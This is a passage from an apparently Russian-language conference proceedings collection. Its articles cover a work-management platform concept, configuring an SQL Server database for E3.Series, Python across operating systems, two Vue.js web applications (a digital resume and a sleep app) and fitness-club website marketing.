ниторинга проекта по методологии PRINCE2 система может обнаружить, что задержка 
поставки стальных балок (выявленная через MES) угрожает соблюдению общего гра-
фика. В ответ IPM перераспределяет задачи на Kanban-досках, временно перенаправляя 
рабочих на подготовительные операции, а параллельно запускает процесс экстренного 
заказа материалов через интегрированные системы поставщиков. 

Концепция цифровой платформы 
Наибольшую эффективность и популярность имеют системы, не заранее разра-

ботанные для выполнения конкретных целей, а универсальные, легко адаптируемые и 
применяемые. Так, например, наиболее популярной программой для анализа состояния 
предприятия являются электронные таблицы, где можно не только настроить визуаль-
ное отображение данных, но и отследить все этапы анализа либо самостоятельно их 
настроить и сформировать. 

В основе платформы лежит разделение данных и логики их обработки, что обес-
печивает гибкость и безопасность. Все данные хранятся в реляционной базе данных 
(например, PostgreSQL, MySQL), что гарантирует структурированность, целостность и 
поддержку транзакций. Доступ к данным осуществляется через API-шлюзы, которые 
выступают посредниками между пользовательским интерфейсом и базой.  
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Рисунок 1 – Концепция внешнего вида платформы 

Интерфейс платформы строится вокруг концепции динамического рабочего сто-
ла, где пользователь может свободно настраивать пространство под свои задачи. Все 
элементы будут представлены в виде окон-виджетов — ключевых элементов интер-
фейса. Каждое окно (график, таблица, карта) можно перемещать, масштабировать и 
связывать с другими. Например, выбор строки в таблице автоматически обновляет свя-
занный график, а изменение фильтра пересчитывает все зависимые элементы. Для 
упрощения работы предполагается применять готовые конфигурации, представленные 
в виде шаблонов. Данные из реляционной БД отображаются в виде интерактивных таб-
лиц, которые поддерживают сортировку, фильтрацию и скрытие столбцов. Инструмен-
ты анализа (калькуляторы, конструкторы отчетов) привязаны к данным через поля вы-
бора. Пользователь указывает, какие столбцы из таблиц использовать для расчётов. Ин-
теллектуальные платформы управления работами перестают быть просто инструмен-
том визуализации. Они становятся цифровыми хабами, где методологии управления 
работами, производственные системы и agile-практики объединяются для достижения 
беспрецедентной эффективности. Внедрение PRINCE2, Kanban и MES в IPM — это от-
вет на вызовы удаленной работы, где каждый участник проекта, от директора до рабо-
чего, действует в едином информационном поле. В мире, где расстояние и сложность 
больше не являются барьерами, такие платформы определяют стандарты управления 
будущего. В дальнейшем планируется развитие платформы, включая расширение ее 
интеллектуальной функциональности и улучшение пользовательского интерфейса. Это 
позволит еще больше повысить эффективность управления работами и достичь новых 
высот в производственной и организационной деятельности [3]. 
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ФОРМИРОВАНИЕ СЕТЕВОЙ БД ДЛЯ E3.SERIES 
 
CREATING A NETWORK DATABASE FOR E3.SERIES 
 
Аннотация. В статье рассматривается процесс работы с базой данных в программном 
комплексе E3.Series, предназначенном для проектирования инженерных систем (элек-
трических схем, гидравлических и пневматических сетей, 3D-моделей шкафов управ-
ления). Особое внимание уделено настройке базы данных с использованием Microsoft 
SQL Server Express и SQL Server Management Studio (SSMS), а также инструмента 
E3.DBTool для администрирования базы данных (БД). Описаны ключевые этапы: со-
здание базы данных, настройка прав доступа, перенос данных между БД и подключе-
ние к E3.Series.  
Annotation. The article discusses the process of working with a database in the E3.Series 
software package designed for designing engineering systems (electrical circuits, hydraulic 
and pneumatic networks, 3D-models of control cabinets). Special attention is paid to config-
uring the database using Microsoft SQL Server Express and SQL Server Management Studio, 
as well as the E3.DBTool tool for database administration. The key steps are described: creat-
ing a database, configuring access rights, transferring data between databases, and connecting 
to E3.Series. 
Ключевые слова: E3.Series, проектирование инженерных систем, база данных, автома-
тизация проектирования, импорт данных из Excel, интеграция с CAD/PLM. 
Keywords: E3.Series, engineering systems design, database, design automation, excel data 
import, CAD/PLM integration. 
 

Современные промышленные предприятия и проектные организации сталкива-
ются с необходимостью автоматизации процессов проектирования инженерных систем. 
В условиях роста сложности проектов, увеличения количества компонентов и ужесто-
чения нормативных требований эффективное управление данными становится крити-
чески важным. Одним из ключевых инструментов в этой сфере является E3.Series [1] – 
программный комплекс, предназначенный для проектирования электрических, гидрав-
лических, пневматических систем и 3D-моделей шкафов управления. Однако его мак-
симальная эффективность достигается только при грамотной организации базы данных, 
которая служит основой для хранения компонентов, их параметров и стандартов проек-
тирования. 
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Актуальность темы обусловлена несколькими факторами: 
1. Рост сложности проектов – современные системы включают тысячи компо-

нентов, и ручное управление ими приводит к ошибкам и задержкам. 
2. Требования к стандартизации – промышленные предприятия нуждаются в 

единой базе данных, обеспечивающей согласованность проектной документации. 
3. Необходимость интеграции с другими системами (CAD, ERP, PLM) – без пра-

вильно организованной БД обмен данными становится затруднительным. 
4. Оптимизация трудозатрат – автоматизация наполнения БД (например, через 

импорт из Excel [2]) сокращает время на ввод данных и минимизирует человеческий 
фактор. 

Цель работы – рассмотреть методику настройки и эффективного использования 
базы данных в E3.Series, включая: 

- выбор подходящей системы управления базой данных (СУБД) (SQL Server 
или SQLite) и её настройку; 

- создание и администрирование БД с помощью SSMS и E3.DBTool; 
- подключение БД к E3.Series и управление правами доступа. 
Степень разработанности темы. Вопросы проектирования инженерных систем с 

использованием E3.Series освещаются в технической документации и ряде специализи-
рованных публикаций. Однако большинство материалов сосредоточено на функцио-
нальных возможностях самого программного обеспечения (ПО), тогда как организация 
базы данных часто остается за рамками детального рассмотрения.  

Данная работа призвана восполнить этот пробел, предлагая пошаговое руковод-
ство по настройке и эксплуатации БД в E3.Series, основанное на практическом опыте. 

E3.Series – это инструмент для проектирования инженерных систем, таких как 
электрические схемы, гидравлические и пневматические сети, а также 3D-модели шка-
фов управления. Его ключевая особенность – глубокая интеграция с базами данных, 
которые служат основой для хранения компонентов, технических параметров и стан-
дартов проектирования. Без правильно организованной БД процессы создания схем и 
отчетов становятся медленными и подверженными ошибкам, что особенно критично в 
промышленных проектах с тысячами компонентов. При формировании базы данных 
первым шагом становится выбор системы управления. E3.Series поддерживает 
Microsoft SQL Server [3] для крупных корпоративных решений и SQLite [4] для не-
больших проектов. SQL Server обеспечивает высокую производительность и подходит 
для командной работы, тогда как SQLite более компактная. 

В нашем случае будет использоваться Microsoft SQL Server Express, который яв-
ляется бесплатной версией, предназначенной для маломасштабных проектов. После 
установки SQL Server также необходимо установить SQL Server Management Studio – 
инструмент для администрирования сервера, работы с базами данных и выполнения 
SQL-запросов.  

Прежде всего необходимо открыть SSMS и подключиться к серверу. Далее в па-
нели «Обозреватель объектов» (слева) щелкаем правой кнопкой мыши (ПКМ) на разде-
ле «Базы данных». В открывшемся контекстном меню выбираем «Создать базу дан-
ных…». Вводим имя и нажимаем «ОК». На этой же панели в разделе «Безопасность» 
предусмотрена возможность добавления пользователей с последующим назначением 
прав доступа. Например, можно ограничить права отдельных пользователей только 
операциями записи данных в таблицы.  

Также при создании сетевой базы данных потребуется E3.DBTool. Это специа-
лизированный инструмент для администрирования и тонкой настройки базы данных в 
E3.Series. Запускаем данную утилиту и в появившемся окне в разделе «Поставщик дан-
ных» выбираем «Microsoft OLE DB Provider for SQL Server» и нажимаем «Далее». Вы-
бираем имя сервера и созданную ранее базу данных. Теперь мы можем создать пустые 
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таблицы, восстановить текущую БД при возникновении ошибок, копировать текущую 
БД и удалить текущие таблицы. С помощью данной программы можно также скопиро-
вать стартовые БД E3. Для этого выбираем «Microsoft Jet 4.0 OLE DB Provider» и нахо-
дим БД E3. Они, как правило, находятся по пути: пользователи/общие/общие докумен-
ты/Zuken/E3.Series/cdb. Выбираем интересующую нас базу данных, нажимаем «ОК» и 
копируем эти таблицы в существующий SQL Server. Данная процедура обеспечивает 
перенос конфигурационных данных между различными экземплярами баз данных. Для 
подключения созданной базы данных к E3.Series выполним следующую последова-
тельность действий. После запуска программного комплекса в окне справа требуется 
вызвать контекстное меню путем щелчка правой кнопкой мыши и выбрать пункт «Вы-
брать базу данных…». В открывшемся диалоговом окне «Выбор базы данных» необхо-
димо нажать кнопку «Настройка», после чего активировать опцию «Добавить» для со-
здания нового подключения. Далее процесс подключения к серверу баз данных повто-
ряет стандартную процедуру, аналогичную работе в E3.DBTool: требуется указать тип 
поставщика данных (например, Microsoft OLE DB Provider for SQL Server), ввести 
аутентификационные параметры и выбрать целевую базу данных из списка доступных 
на сервере. Успешное завершение операции подтверждается отображением имени под-
ключенной БД в основном интерфейсе E3.Series. 

База данных E3.Series включает три ключевых типа элементов: 
- модели – графические шаблоны компонентов с точками подключения. 
- изделия – объекты с техническими параметрами (артикул, производитель). 
- символы – условные обозначения для схем. 
Рассмотрим добавление этих элементов в БД: 
1) Модели. На любом классе базы данных путём щелчка ПКМ вызываем кон-

текстное меню и выбираем команду «Создать новую модель». Появляется новая мо-
дель, созданная по умолчанию. После редактирования модели требуется синхронизиро-
вать графику с контуром символа, разместить точку привязки и создать точки подклю-
чения символов в БД. При необходимости можно также добавить надписи. Далее в лю-
бом месте на чертеже щелкаем ПКМ и в контекстном меню выбираем команду «Пара-
метры модели…». В появившемся окне можно задать имя модели, выбрать папку, в ко-
торой модель сохранится в БД и т.д. После ввода данных нажимаем «ОК». Для сохра-
нения в любом месте на чертеже щелкаем ПКМ и в контекстном меню выбираем ко-
манду «Сохранить в Базе Данных». 

2) Изделия. На любом классе базы данных путём щелчка ПКМ вызываем кон-
текстное меню и выбираем команду «Создать новое изделие». После чего откроется 
окно с описанием нового изделия, где можно задать имя изделия, его тип, атрибуты и 
т.д. В завершении процедуры описания изделия в БД нам предложат либо сразу сохра-
нить изделие в БД, либо взять изделие на редактирование. Нажимаем кнопку «Готово». 
После завершения редактирования сохраним изделие в БД. 

3) Символы. На любом классе базы данных путём щелчка ПКМ вызываем кон-
текстное меню и выбираем команду «Создать новый символ». На экране появится ра-
бочая область для создания нового символа с точкой привязки. После создания символа 
в любом месте на чертеже щелкаем ПКМ и в контекстном меню выбираем команду 
«Параметры символа…» и вводим необходимые текстовые данные. После чего нажи-
маем «ОК» и сохраняем символ. 

Так же существует возможность создания символа и модели на основе суще-
ствующих элементов, для этого необходимо выбрать материнский элемент в базе дан-
ных: нажатие по элементу ЛКМ приводит к его отображению в окне предварительного 
просмотра, щелкнуть ПКМ по выбранному элементу, в контекстном меню выбрать 
«Создать копию», в окне редактора БД переименовать создаваемый элемент, готовый 
элемент сохранить в БД. 
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Существует возможность импорта данных из Excel в базу данных E3. Импорт 
предназначен для автоматического добавления, обновления или удаления компонентов 
и их атрибутов. Это упрощает процесс заполнения базы данных, особенно при работе с 
большими объемами информации. 

Данные в таблице Excel должны быть организованы в таблицу, где каждая стро-
ка соответствует одному компоненту, а столбцы – его атрибутам. 

Первая строка таблицы может содержать заголовки, но сами данные должны 
начинаться со второй строки. Столбцы могут иметь такие заголовки как: Основной 
класс, Класс, Серия, Свойство, Число контактов, Характеристика, Ток, Номер по ката-
логу, Производитель, Стандарт, Масса, Тип, Наименование, Код изделия и др. В столб-
цах, таких как «Тип» или «Наименование», должны отсутствовать запрещенные симво-
лы, например, точки, символы наконечников стрелки, фигурные скобки или запятые. 

Для импорта необходимо подготовить файл конфигурации, который определяет 
соответствие между столбцами в Excel и атрибутами или полями в базе данных E3. Ат-
рибуты и поля, которые необходимо импортировать добавляются в формате: «атри-
бут/поле в базе данных E3»=«номер столбца в таблице Excel»;«Тип дан-
ных»;«атрибут/поле». Пример маппинга для атрибута Производитель: «Supplier=4;S;F». 

Поддерживаемые типы данных: 
- s – строка; 
- i – целое число; 
- f – число с плавающей запятой.  
В ходе работы были достигнуты ключевые цели, поставленные во введении: 
1. Определены критерии выбора СУБД для E3.Series: 
1) Microsoft SQL Server рекомендован для крупных проектов с высокой 

нагрузкой и командной работой. 
2) SQLite подходит для небольших локальных решений с ограниченными ре-

сурсами. 
3) Для маломасштабных проектов оптимальным выбором стала бесплатная 

версия SQL Server Express, обеспечивающая баланс между функциональностью и эко-
номией. 

2. Разработана методика создания и настройки БД: 
1) Установка и конфигурация SQL Server Management Studio для администриро-

вания. 
2) Использование E3.DBTool для переноса шаблонных БД и управления струк-

турой таблиц. 
3) Настройка прав доступа пользователей для разделения ролей (например, 

ограничение редактирования критичных данных). 
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СРАВНИТЕЛЬНЫЙ АНАЛИЗ ИСПОЛЬЗОВАНИЯ PYTHON НА РАЗЛИЧНЫХ  
ОПЕРАЦИОННЫХ СИСТЕМАХ 
 
COMPARATIVE ANALYSIS OF THE USE OF PATHON ON VARIOUS  
OPERATING SYSTEMS 
 
Аннотация. В данной статье мы сравниваем, как работает язык программирования 
Python на трёх популярных операционных системах: Windows, macOS и Linux. Рас-
смотрим, как выбор платформы влияет на разработку и запуск Python-приложений – от 
производительности и удобства установки до совместимости с библиотеками. Также 
затронем, какая ОС лучше подходит для разных задач, например, для веб-разработки, 
анализа данных или машинного обучения. 
Annotation. In this article, we compare how the Python programming language works on 
three popular operating systems: Windows, macOS, and Linux. Let's look at how the choice 
of platform affects the development and launch of Python applications, from performance and 
ease of installation to compatibility with libraries. We will also discuss which OS is best suit-
ed for different tasks, such as web development, data analysis, or machine learning. 
Ключевые слова: анализ, python, Windows, MacOS, Linux  
Keywords: analysis, python, Windows, macOS, Linux 
 

Python — один из самых популярных языков программирования в мире. Он ис-
пользуется повсеместно: от простых скриптов до сложных систем в области анализа 
данных, искусственного интеллекта, веб-разработки и научных расчётов. Благодаря 
своей универсальности, читаемому синтаксису и огромному количеству библиотек, 
Python стал выбором как для начинающих программистов, так и для профессионалов. 
Одним из ключевых преимуществ языка является его кроссплатформенность — воз-
можность запускать код на различных операционных системах практически без изме-
нений. Однако в реальных условиях разработка на Python может заметно отличаться в 
зависимости от того, какая именно ОС используется. На сегодняшний день самыми по-
пулярными платформами для разработки являются Windows, macOS и Linux. Каждая из 
них имеет свои особенности, которые влияют на настройку окружения, удобство рабо-
ты, производительность и стабильность запускаемых приложений. Эти различия осо-
бенно важны для начинающих программистов, которые выбирают себе первую рабо-
чую среду, а также для команд, работающих в кроссплатформенных проектах. Несмот-
ря на широкое распространение Python, в литературе и интернете не так много работ, 
которые прямо сравнивают его использование на этих трёх платформах с точки зрения 
разработчика. Цель данной статьи — провести сравнительный анализ особенностей ра-
боты с Python в средах Windows, macOS и Linux. В рамках статьи рассматриваются как 
технические аспекты (установка, производительность, настройка окружения), так и 
пользовательские (удобство, поддержка инструментов, наличие документации). Работа 
может быть полезна студентам, начинающим программистам и всем, кто ищет опти-
мальную платформу для начала или продолжения своей работы с Python. 

Скорость выполнения Python-кода может меняться в зависимости от ОС. Linux 
часто показывает лучшие результаты в ресурсоёмких задачах благодаря архитектуре 
ядра и эффективному управлению ресурсами [1]. Однако это преимущество не универ-
сально — в некоторых сценариях Windows или macOS могут работать быстрее. 
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Помимо скорости, важна и эффективность использования CPU, памяти и подси-
стемы ввода-вывода. Например, Linux более эффективно работает с многопроцессно-
стью и памятью, в то время как Windows может быть ограничен в этих аспектах. Такие 
инструменты, как psutil, помогают отслеживать использование ресурсов и выявлять уз-
кие места в коде [2]. 

Разные операционные системы по-разному справляются с управлением памя-
тью: macOS использует гибкую систему виртуальной памяти, а Windows может завер-
шать приложение при нехватке ресурсов. Поведение многопроцессности также отлича-
ется: Linux, использует механизм copy-on-write, тогда как Windows чаще запускает 
процессы с нуля. Всё это стоит учитывать при разработке производительных Python-
приложений (таблица 1). 

Таблица 1 – сравнительная таблица python на разных ОС 
Критерий Windows macOS Linux 

Скорость выполне-
ния 

Умеренная, 
может уступать 
в задачах CPU 

Хорошая, осо-
бенно в анали-

тике 

Высокая в вычислени-
ях и I/O 

Управление памя-
тью 

Возможна не-
хватка RAM 

Эффективная 
виртуальная па-

мять 

Отлично работает с 
многопроцессностью 

Файловый ввод-
вывод 

Иногда мед-
леннее 

Быстрый Быстрый и стабильный 

Многопроцессность 
Запуск с нуля 

(spawn) 
Поддержка fork 

и spawn 
Эффективный fork и 

copy-on-write 

Совместимость биб-
лиотек 

Хорошая, но 
бывают слож-

ности с C-
расш. 

Очень хорошая, 
особенно с 

Unix-модулями 

Отличная, особенно с 
системными модулями 

Установка и 
настройка 

Через инстал-
лятор или MS 

Store 

Через Homebrew 
или инсталлятор

Через пакетный мене-
джер или сборку 

Работа с GPU/ML 
Возможны 

сложности с 
драйверами 

Надёжная под-
держка 

Широкая поддержка, 
особенно с NVIDIA 

Удобство разработ-
ки 

Высокое, осо-
бенно с WSL 

Комфортный 
Unix + UI 

Отлично для CLI и сер-
верной разработки 

Python-код, написанный с использованием стандартной библиотеки, хорошо пе-
реносим между ОС [3]. Однако некоторые модули и сторонние библиотеки могут иметь 
особенности: signal работает только в Unix-системах, а GUI-библиотеки могут отли-
чаться внешне и в установке. Процесс установки Python зависит от ОС. В Windows 
важно добавить интерпретатор в PATH [4]; на macOS удобно использовать Homebrew 
[5]; в Linux Python зачастую уже предустановлен. Для управления версиями Python ча-
сто применяют pyenv, доступный на всех трёх платформах. Также стоит учитывать 
установку пакетов через pip: библиотеки с C-расширениями могут требовать отдельной 
настройки в зависимости от ОС. Существуют инструменты, упрощающие сборку, 
например maturin для Rust-расширений. 

Современные IDE и редакторы – PyCharm, VS Code, Sublime и другие — поддер-
живаются всеми платформами. Виртуальные окружения (venv, conda), системы контроля 
версий (Git) и менеджеры пакетов (pip) работают схожим образом на всех системах, что 
позволяет сохранять единый опыт разработки. 

Можно составить таблицу сравнения ОС и выделить плюсы и минусы (таблица 2). 
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Таблица 2 – Сравнение ОС 
Операционная система Плюсы Минусы 

Windows 

Доступна большинству 
пользователей, хорошо ин-
тегрируется с экосистемой 
Microsoft, есть WSL. 

Возможные проблемы с 
производительностью и 
настройкой окружения. 

macOS 

Сбалансированная Unix-
система с удобным интер-
фейсом, популярна среди 
веб-разработчиков и ана-
литиков. 

Ограниченная гибкость и 
устаревшая предустанов-
ленная версия Python. 

Linux 

Идеальна для серверов и 
скриптов, даёт максимум 
контроля и производи-
тельности. 

Требует большей техниче-
ской подготовки и знаком-
ства с командной строкой. 

Каждая операционная система имеет свои сильные и слабые стороны. Windows 
хорошо подходит для пользователей, знакомых с экосистемой Microsoft, но может 
иметь проблемы с производительностью. macOS привлекает разработчиков своим 
удобным интерфейсом, но имеет некоторые ограничения. Linux предлагает отличную 
производительность и контроль, но требует больше технических знаний и привыкания 
к командной строке. 

Сравнительный анализ показал, что выбор операционной системы действитель-
но влияет на работу с Python — от производительности и совместимости до удобства 
настройки и разработки. Хотя Python остаётся кроссплатформенным, знание особенно-
стей каждой ОС помогает сделать рабочий процесс эффективнее. Выбор платформы 
зависит от целей проекта. Linux подойдёт для серверных решений и ресурсоёмких за-
дач благодаря своей скорости и гибкости. macOS — хороший вариант для веб-
разработки и анализа данных, предлагая стабильную и удобную среду. Windows удобна 
для тех, кто уже с ней работает, особенно с учётом возможностей WSL, позволяющего 
запускать Linux-инструменты. В итоге всё сводится к задачам проекта и личным пред-
почтениям разработчика. 
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В современном мире умение выделиться среди других соискателей становится 
всё более важным. Работодатели ценят не только содержание резюме, но и его форму: 
насколько удобно, наглядно и профессионально оно представлено.  

Одним из современных способов самопрезентации для специалистов в области 
информационных технологий стало использование цифровых и интерактивных резюме, 
что позволяет продемонстрировать свои навыки не только в текстовом виде, но и с по-
мощью визуальных элементов, а также подтвердить владение современными инстру-
ментами разработки [1]. Особую актуальность это приобретает для программистов и 
разработчиков, так как позволяет показать технический уровень прямо через само ре-
зюме: будь то динамический интерфейс, обработка данных или подключение внешних 
источников [2]. 

Интерактивное резюме становится не просто документом, а примером кода, ми-
ни-приложением, которое можно протестировать и оценить вживую [3]. Это особенно 
важно в условиях высокой конкуренции на рынке ИТ-услуг и стремительного развития 
технологий. Тема цифровых и интерактивных резюме активно развивается в последние 
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годы. В сети существует множество примеров реализации подобных решений с исполь-
зованием HTML, CSS и JavaScript, а также различных фреймворков – React, Angular, 
Vue.js [4]. Вместе с тем, вопрос структурированной подачи данных, гибкости отобра-
жения и простоты обновления информации остаётся актуальным. Разработчики ищут 
подходы, которые позволят автоматически подгружать данные, легко адаптировать ин-
терфейс под разные цели, а также интегрировать резюме в другие сервисы, например, в 
корпоративные системы подбора персонала [5]. 

Цель данной работы – разработка удобного и наглядного веб-приложения на ба-
зе фреймворка Vue.js, выполняющего функции цифрового резюме. В процессе разра-
ботки реализована возможность загрузки и визуализации информации из CSV-файлов и 
из систем типа 1С, что обеспечивает лёгкость обновления данных без необходимости 
вручного редактирования кода. Особое внимание уделяется визуализации уровня про-
фессиональных навыков, что помогает сделать представление информации более убе-
дительным и понятным. 

Для разработки цифрового резюме был выбран популярный JavaScript-
фреймворк Vue.js. Одним из его главных преимуществ является большое сообщество и 
доступность обучающих материалов – в интернете можно найти множество статей, ви-
деоуроков и примеров использования. Это делает фреймворк удобным и понятным да-
же для начинающих разработчиков. В процессе создания приложения была реализована 
возможность гибкой настройки интерфейса: добавлены интерактивные элементы, раз-
делы с информацией о пользователе, а также визуальные компоненты, которые делают 
резюме не только информативным, но и приятным в восприятии. Пользователь может 
легко перемещаться между разделами, а сам интерфейс выглядит современно и интуи-
тивно понятен (рисунок 1). 

 
Рисунок 1 – Пример резюме 

Отдельное внимание было уделено визуализации профессиональных навыков. С 
помощью встроенных графиков и подключения данных из CSV-файлов появилась воз-
можность отображать уровень владения теми или иными компетенциями. Это удобно 
тем, что значения в графике можно легко редактировать без необходимости изменять 
сам код приложения – достаточно обновить содержимое CSV-файла. Такой подход 
особенно полезен, если нужно регулярно обновлять информацию, например, при раз-
витии какого-либо навыка или появлении нового опыта (рисунок 2). Кроме того, струк-
тура приложения позволяет добавлять новые CSV-файлы, подгружать из них данные и 
на их основе строить визуализации. Благодаря удобному синтаксису Vue.js и использо-
ванию привязки данных, можно управлять содержимым даже без глубоких знаний про-
граммирования. Это делает цифровое резюме доступным инструментом не только для 
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опытных разработчиков, но и для всех, кто хочет представить себя современно и 
наглядно. 

 
Рисунок 2 – Пример интерактивности резюме 

В ходе выполненной работы была реализована цель исследования – разработка 
цифрового резюме в виде веб-приложения на фреймворке Vue.js. Авторами была создана 
система, позволяющая отображать структурированную информацию о пользователе 
(контакты, образование, навыки) в наглядной и интерактивной форме. Важным результа-
том стало подключение источников данных (CSV-файлы и 1С), что обеспечивает гиб-
кость и актуальность отображаемых сведений без необходимости постоянного редакти-
рования кода. Также была реализована визуализация уровня профессиональных навы-
ков с использованием графиков, что усиливает эффект самопрезентации и делает ин-
формацию более доступной для восприятия. Такой подход позволяет работодателю 
сразу оценить не только содержание резюме, но и технический уровень кандидата – его 
умение структурировать данные, работать с интерфейсами и выбирать технологические 
решения. В результате исследования было выявлено, что интерактивное цифровое ре-
зюме предоставляет широкие возможности персонализации, улучшает восприятие ин-
формации и может служить реальным примером компетентности разработчика. Оно 
совмещает функциональность, эстетичность и актуальность данных – что делает его 
эффективным инструментом при поиске работы. 
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ции навыков разработчика, так и для использования в реальных проектах. 
Annotation. This article explores the practical use of the Vue.js framework to develop a user-
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tecture using Git and Visual Studio Code as development tools. The authors describe the pro-
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В современном мире важную роль играет не только функциональность веб-

приложений, но и удобство взаимодействия с пользователем. От того, насколько по-
нятным, приятным и логичным будет интерфейс, напрямую зависит пользовательский 
опыт. Особенно это актуально для приложений, связанных со здоровьем и повседнев-
ными привычками, такими как сон. Пользователи ожидают простого, наглядного и ин-
туитивного взаимодействия с сервисом [1]. В рамках проекта по разработке приложе-
ния, связанного с отслеживанием сна и предоставлением рекомендаций, возникла 
необходимость создать удобный и современный веб-интерфейс. Для реализации этих 
задач был выбран JavaScript-фреймворк Vue.js, зарекомендовавший себя как эффектив-
ный инструмент для построения реактивных пользовательских интерфейсов. Для орга-
низации навигации между различными экранами приложения использовалась библио-
тека Vue Router, которая позволяет создавать отдельные маршруты для разных разде-
лов, тем самым обеспечивая структуру и масштабируемость интерфейса. Целью данной 
работы является создание веб-приложения для взаимодействия с пользователем в обла-
сти сна: от ввода данных до получения персонализированных рекомендаций. В рамках 
исследования были поставлены следующие задачи: протестировать возможности Vue.js 
для приёма и обработки пользовательских данных, реализовать подключение интеллек-
туального модуля (искусственного интеллекта) для анализа этих данных, а также раз-
работать интерфейс, упрощающий работу пользователя с системой. Кроме того, в рабо-
те оценивается, насколько предложенные технические решения соответствуют совре-
менным требованиям к UX/UI и могут быть масштабированы для будущих улучшений. 

Разработанный визуальный интерфейс приложения «Sleepy» демонстрирует 
пример удобного взаимодействия с пользователем. Главная страница приложения 
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встречает пользователя сообщением, сразу обозначающим цель приложения и описы-
вающая, что будет делать сайт (рисунок 1). 

 
Рисунок 1 – Главная страница 

Визуальная анимация придает странице динамику [2]. Навигация по сайту реа-
лизована просто и понятно, с четкими ссылками на основные действия, такие как реги-
страция и вход [3]. Страница регистрации предлагает пользователю структурирован-
ную форму с метками и подсказками. Реализованная валидация в режиме реального 
времени обеспечивает немедленную обратную связь, улучшая пользовательский опыт 
[4] (рисунок 2).  

 
Рисунок 2 – Окно регистрации 

Дизайн приложения ориентирован на ясность и простоту использования, что 
имеет важное значение для вовлечения пользователей, особенно в приложениях, 
направленных на улучшение самочувствия, таких как приложение для анализа сна. 

Данное решение обладает рядом преимуществ в контексте создания визуальных 
интерфейсов для веб-приложений с использованием Vue.js. Приложение использует 
Composition API от Vue.js для организации логики компонентов, что способствует луч-
шей поддерживаемости кода. Применение привязки данных обеспечивает динамиче-
ское отображение состояния приложения в пользовательском интерфейсе, что делает 
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взаимодействие более отзывчивым. Vue Router позволяет плавно переключаться между 
различными разделами приложения, что необходимо для многостраничного веб-
приложения [5]. Реализация визуальных эффектов с помощью компонента <Transition> 
от Vue.js улучшает восприятие приложения без излишнего усложнения кода. Структу-
рированный подход к стилизации с использованием глобальных и локально ограничен-
ных CSS-файлов способствует поддерживаемой и предотвращает конфликты стилей. 
Клиентская валидация в форме регистрации улучшает пользовательский опыт за счет 
немедленной обратной связи. Выбор Vue.js и использование его современных возмож-
ностей (Composition API, Router, Transition) закладывают прочную основу для создания 
масштабируемого и удобного веб-приложения для анализа и улучшения сна. 

В результате работы было успешно создано веб-приложение «Sleepy», основной 
задачей которого является помощь пользователю в отслеживании и улучшении каче-
ства сна. Мы использовали фреймворк Vue.js, так как он оказался удобным инструмен-
том для создания современного и понятного интерфейса. С его помощью реализованы 
все ключевые элементы: главная страница с описанием, регистрация с проверкой дан-
ных и плавные переходы между экранами. Были опробованы возможности Vue Router, 
Composition API и компоненты для анимаций – всё это позволило сделать интерфейс не 
только функциональным, но и визуально приятным. Мы убедились, что даже при ми-
нимальном количестве кода можно добиться гибкости и адаптивности системы. Одним 
из главных результатов стало то, что приложение уже готово к дальнейшему развитию 
– в частности, к подключению искусственного интеллекта, который в будущем будет 
анализировать введённые данные и предлагать рекомендации. Таким образом, в работе 
была доказана эффективность использования Vue.js для построения полезного и удоб-
ного веб-сервиса, который может быть полезен самому широкому кругу пользователей. 
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КОММУНИКАТИВНАЯ ПОЛИТИКА ФИТНЕС-КЛУБОВ ПОСРЕДСТВОМ  
ВЕБ-САЙТА 
 
COMMUNICATION POLICY OF FITNESS CLUBS VIA A WEBSITE 

 
Аннотация. В современном мире каждая компания сталкивается с определенными рис-
ками, которые оказывают значительное влияние на стабильность и доходность её дея-
тельности. Не является исключением и сфера оказания фитнес-услуг, которая подвер-
жена различным экономическим колебаниям и изменениям в потребительских предпо-
чтениях. Для успешного функционирования и развития бизнеса необходимо глубоко 
понимать, как различные инструменты цифровизации могут быть использованы для 
стимулирования роста продаж. Важно осознавать, что полное внедрение всех доступ-
ных цифровых инструментов не только крайне затратно, но и не всегда целесообразно. 
Целью работы является анализ влияния сайта на продвижение услуг спортивно-
оздоровительных центров через сеть Интернет. Рассматриваются изменения в паттер-
нах восприятия информации современными пользователями сети Интернет, каналы 
продвижения и функции сайта. Выделены наиболее эффективные каналы для продви-
жения сайта, определяющие коммуникативную политику фитнес-центров. 
Abstract. In the modern world, every company faces certain risks that have a significant im-
pact on the stability and profitability of its activities. The sphere of fitness services is no ex-
ception, which is subject to various economic fluctuations and changes in consumer prefer-
ences. For successful functioning and development of business, it is necessary to deeply un-
derstand how various digitalization tools can be used to stimulate sales growth. It is important 
to realize that the full implementation of all available digital tools is not only extremely cost-
ly, but also not always advisable. The purpose of the work is to analyze the impact of the site 
on the promotion of sports and health centers via the Internet. Changes in the patterns of in-
formation perception by modern Internet users, promotion channels and site functions are 
considered. The most effective channels for site promotion are identified, determining the 
communication policy of fitness centers. 
Ключевые слова: коммуникативная политика, маркетинговая политик, цифровые сред-
ства маркетинга, виды рекламы, продвижение фитнес-клубов. 
Keywords: communication policy, marketing policy, digital marketing tools, types of adver-
tising, promotion of fitness clubs. 

 
В современном мире, где бизнес-пространство наполнено множеством различ-

ных возможностей и одновременно сопровождается немалыми рисками, каждый пред-
приниматель сталкивается с необходимостью тщательно анализировать все аспекты 
своей деятельности. Это особенно актуально для тех, кто работает в сфере услуг, в том 
числе и для тех, кто занимается фитнес-индустрией. В этой сфере риски оказывают 
прямое воздействие на финансовые результаты и доходность бизнеса, что делает 
управление рисками неотъемлемой частью успешного ведения дел. В условиях высокой 
конкуренции и постоянно меняющегося рынка, важно не просто слепо следовать за 
тенденциями цифровизации, которые сегодня диктуют условия ведения бизнеса, но и 
глубоко понимать, как именно различные инструменты цифровизации могут способ-
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ствовать увеличению объема продаж и привлечению новых клиентов. Ведь не каждый 
инструмент подходит для конкретного бизнеса, а его внедрение может потребовать 
значительных финансовых вложений, что не всегда оправдано. 

Целью работы является анализ влияния сайта на продвижение услуг спортивно-
оздоровительных центров через сеть Интернет. Рассматриваются изменения в паттер-
нах восприятия информации современными пользователями сети Интернет, каналы 
продвижения и функции сайта. Выделены наиболее эффективные каналы для продви-
жения сайта, определяющие коммуникативную политику фитнес-центров. 

Современный мир характеризуется высокой скоростью жизни и многие клиенты 
проявляют нежелание тратить время на маркетинговое общение в виде звонков, встреч 
без особой необходимости. Восприятие информации происходит по Z-траектории, опи-
санной диаграммой Гутенберга. Эта тенденция отражает общий тренд на минимизацию 
неэффективного взаимодействия и поиск оптимальных способов коммуникации в усло-
